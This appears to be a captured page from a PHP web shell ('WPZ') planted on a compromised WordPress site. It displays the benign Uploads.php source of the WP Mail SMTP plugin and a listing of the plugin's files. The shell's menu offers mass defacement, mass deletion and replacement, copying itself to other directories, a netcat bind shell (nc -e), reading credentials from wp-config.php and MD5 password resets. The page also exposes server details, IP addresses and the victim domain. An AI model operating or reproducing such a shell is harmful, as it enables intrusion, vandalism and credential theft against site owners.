WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / wp-mail-smtp / src / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src/Uploads.php (5.44 KB)
<?php

namespace WPMailSMTP;

use WP_Error;
use WP_Filesystem_Direct;

/**
 * WPMailSMTP uploads.
 *
 * @since 2.8.0
 */
class Uploads {

	/**
	 * Uploads dir name.
	 *
	 * @since 4.1.1
	 */
	const ROOT_FOLDER_NAME = 'wp-mail-smtp';

	/**
	 * Get WPMailSMTP upload root path (e.g. /wp-content/uploads/wp-mail-smtp).
	 *
	 * @since 2.8.0
	 *
	 * @return array|WP_Error WPMailSMTP upload root path (no trailing slash).
	 */
	public static function upload_dir() {

		$upload_dir = wp_upload_dir();

		if ( ! empty( $upload_dir['error'] ) ) {
			return new WP_Error( 'wp_upload_dir_error', $upload_dir['error'] );
		}

		$dir = self::ROOT_FOLDER_NAME;

		$upload_root = trailingslashit( realpath( $upload_dir['basedir'] ) ) . $dir;

		/**
		 * Filters upload dir path.
		 *
		 * @since 2.8.0
		 *
		 * @param string $upload_root Upload dir path.
		 */
		$custom_uploads_root = apply_filters( 'wp_mail_smtp_uploads_upload_dir_root', $upload_root );
		if ( wp_is_writable( $custom_uploads_root ) ) {
			$upload_root = $custom_uploads_root;
		}

		if ( ! file_exists( $upload_root ) && ! wp_mkdir_p( $custom_uploads_root ) ) {
			return new WP_Error(
				'wp_mail_smtp_upload_dir_unable_create',
				sprintf(
				/* translators: %s: Directory path. */
					__( 'Unable to create directory %s. Is its parent directory writable by the server?', 'wp-mail-smtp' ),
					esc_html( $upload_root )
				)
			);
		}

		if ( ! wp_is_writable( $custom_uploads_root ) ) {
			return new WP_Error(
				'wp_mail_smtp_upload_dir_not_writable',
				sprintf(
				/* translators: %s: Directory path. */
					__( 'Unable to write in WPMailSMTP upload directory %s. Is it writable by the server?', 'wp-mail-smtp' ),
					esc_html( $upload_root )
				)
			);
		}

		return [
			'path' => $upload_root,
			'url'  => trailingslashit( $upload_dir['baseurl'] ) . $dir,
		];
	}


	/**
	 * Create .htaccess file in the WPMailSMTP upload directory.
	 *
	 * @since 2.8.0
	 *
	 * @return bool True when the .htaccess file exists, false on failure.
	 */
	public static function create_upload_dir_htaccess_file() {

		/**
		 * Filters create upload dir htaccess file.
		 *
		 * @since 2.8.0
		 *
		 * @param bool $is_create Creates upload dir htaccess file.
		 */
		if ( ! apply_filters( 'wp_mail_smtp_uploads_create_upload_dir_htaccess_file', true ) ) {
			return false;
		}

		$upload_dir = self::upload_dir();

		if ( is_wp_error( $upload_dir ) ) {
			return false;
		}

		$htaccess_file = wp_normalize_path( trailingslashit( $upload_dir['path'] ) . '.htaccess' );
		$cache_key     = 'wp_mail_smtp_upload_dir_htaccess_file';

		if ( is_file( $htaccess_file ) ) {
			$cached_stat = get_transient( $cache_key );
			$stat        = array_intersect_key(
				stat( $htaccess_file ),
				[
					'size'  => 0,
					'mtime' => 0,
					'ctime' => 0,
				]
			);

			if ( $cached_stat === $stat ) {
				return true;
			}

			@unlink( $htaccess_file ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		}

		if ( ! function_exists( 'insert_with_markers' ) ) {
			require_once ABSPATH . 'wp-admin/includes/misc.php';
		}

		/**
		 * Filters upload dir htaccess file content.
		 *
		 * @since 2.8.0
		 *
		 * @param bool $content Upload dir htaccess file content.
		 */
		$contents = apply_filters(
			'wp_mail_smtp_uploads_create_upload_dir_htaccess_file_content',
			'# Disable PHP and Python scripts parsing.
<Files *>
  SetHandler none
  SetHandler default-handler
  RemoveHandler .cgi .php .php3 .php4 .php5 .phtml .pl .py .pyc .pyo
  RemoveType .cgi .php .php3 .php4 .php5 .phtml .pl .py .pyc .pyo
</Files>
<IfModule mod_php5.c>
  php_flag engine off
</IfModule>
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>
<IfModule mod_php8.c>
  php_flag engine off
</IfModule>
<IfModule headers_module>
  Header set X-Robots-Tag "noindex"
</IfModule>'
		);

		$created = insert_with_markers( $htaccess_file, 'WPMailSMTP', $contents );

		if ( $created ) {
			clearstatcache( true, $htaccess_file );
			$stat = array_intersect_key(
				stat( $htaccess_file ),
				[
					'size'  => 0,
					'mtime' => 0,
					'ctime' => 0,
				]
			);

			set_transient( $cache_key, $stat );
		}

		return $created;
	}

	/**
	 * Create index.html file in the specified directory if it doesn't exist.
	 *
	 * @since 2.8.0
	 *
	 * @param string $path Path to the directory.
	 *
	 * @return int|false Number of bytes that were written to the file, or false on failure.
	 */
	public static function create_index_html_file( $path ) {

		if ( ! is_dir( $path ) || is_link( $path ) ) {
			return false;
		}

		$index_file = wp_normalize_path( trailingslashit( $path ) . 'index.html' );

		// Do nothing if index.html exists in the directory.
		if ( file_exists( $index_file ) ) {
			return false;
		}

		// Create empty index.html.
		return file_put_contents( $index_file, '' ); // phpcs:ignore WordPress.WP.AlternativeFunctions
	}

	/**
	 * Delete the WPMailSMTP uploads directory.
	 *
	 * @since 4.1.1
	 *
	 * @return void
	 */
	public static function delete_upload_dir() {

		// Get the upload dir.
		$upload_dir = self::upload_dir();

		// If there is an error, return.
		if ( is_wp_error( $upload_dir ) ) {
			return;
		}

		$upload_root = $upload_dir['path'];

		// Get WP Filesystembase files.
		require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php';
		require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-direct.php';

		// Initialize WP_Filesystem_Direct.
		$wp_filesystem = new WP_Filesystem_Direct( false );

		// Delete the directory.
		$wp_filesystem->delete( $upload_root, true );
	}
}
namawaktuukuranownerpermaksi
..
Abilities/ 2026-07-21 14:1414.29 KB 76129f60960:kundendxwrx-r--r
Admin/ 2026-07-21 14:14651.31 KB 76129f60960:kundendxwrx-r--r
Compatibility/ 2026-07-21 14:149.47 KB 76129f60960:kundendxwrx-r--r
Helpers/ 2026-07-21 14:1429.47 KB 76129f60960:kundendxwrx-r--r
Integrations/ 2026-07-21 14:147.61 KB 76129f60960:kundendxwrx-r--r
Providers/ 2026-07-21 14:14380.79 KB 76129f60960:kundendxwrx-r--r
Queue/ 2026-07-21 14:1436.42 KB 76129f60960:kundendxwrx-r--r
Reports/ 2026-07-21 14:1428.76 KB 76129f60960:kundendxwrx-r--r
Tasks/ 2026-07-21 14:1440.6 KB 76129f60960:kundendxwrx-r--r
TestEmail/ 2026-07-21 14:1422.48 KB 76129f60960:kundendxwrx-r--r
UsageTracking/ 2026-07-21 14:1422.97 KB 76129f60960:kundendxwrx-r--r
WPCLI/ 2026-07-21 14:1452.21 KB 76129f60960:kundendxwrx-r--r
AbstractConnection.php 2026-07-21 14:141.09 KB 76129f60960:kunden-xw-x-----
edt
Conflicts.php 2026-07-21 14:1416.65 KB 76129f60960:kunden-xw-x-----
edt
Connect.php 2026-07-21 14:149.18 KB 76129f60960:kunden-xw-x-----
edt
Connection.php 2026-07-21 14:14964 B 76129f60960:kunden-xw-x-----
edt
ConnectionInterface.php 2026-07-21 14:141.01 KB 76129f60960:kunden-xw-x-----
edt
ConnectionsManager.php 2026-07-21 14:14765 B 76129f60960:kunden-xw-x-----
edt
Core.php 2026-07-21 14:1433.84 KB 76129f60960:kunden-xw-x-----
edt
DBRepair.php 2026-07-21 14:146.36 KB 76129f60960:kunden-xw-x-----
edt
Debug.php 2026-07-21 14:144.24 KB 76129f60960:kunden-xw-x-----
edt
EmailSendingDebug.php 2026-07-21 14:144.82 KB 76129f60960:kunden-xw-x-----
edt
Geo.php 2026-07-21 14:146.76 KB 76129f60960:kunden-xw-x-----
edt
MailCatcher.php 2026-07-21 14:141.36 KB 76129f60960:kunden-xw-x-----
edt
MailCatcherInterface.php 2026-07-21 14:141.16 KB 76129f60960:kunden-xw-x-----
edt
MailCatcherTrait.php 2026-07-21 14:1427.44 KB 76129f60960:kunden-xw-x-----
edt
MailCatcherV6.php 2026-07-21 14:141.2 KB 76129f60960:kunden-xw-x-----
edt
Migration.php 2026-07-21 14:1412.11 KB 76129f60960:kunden-xw-x-----
edt
MigrationAbstract.php 2026-07-21 14:143.21 KB 76129f60960:kunden-xw-x-----
edt
Migrations.php 2026-07-21 14:144.12 KB 76129f60960:kunden-xw-x-----
edt
OptimizedEmailSending.php 2026-07-21 14:141.17 KB 76129f60960:kunden-xw-x-----
edt
Options.php 2026-07-21 14:1448.36 KB 76129f60960:kunden-xw-x-----
edt
Processor.php 2026-07-21 14:1414.11 KB 76129f60960:kunden-xw-x-----
edt
SiteHealth.php 2026-07-21 14:1412.66 KB 76129f60960:kunden-xw-x-----
edt
Upgrade.php 2026-07-21 14:141.55 KB 76129f60960:kunden-xw-x-----
edt
Uploads.php 2026-07-21 14:145.44 KB 76129f60960:kunden-xw-x-----
edt
WP.php 2026-07-21 14:1424.5 KB 76129f60960:kunden-xw-x-----
edt
WPMailArgs.php 2026-07-21 14:144.44 KB 76129f60960:kunden-xw-x-----
edt
WPMailInitiator.php 2026-07-21 14:144.38 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK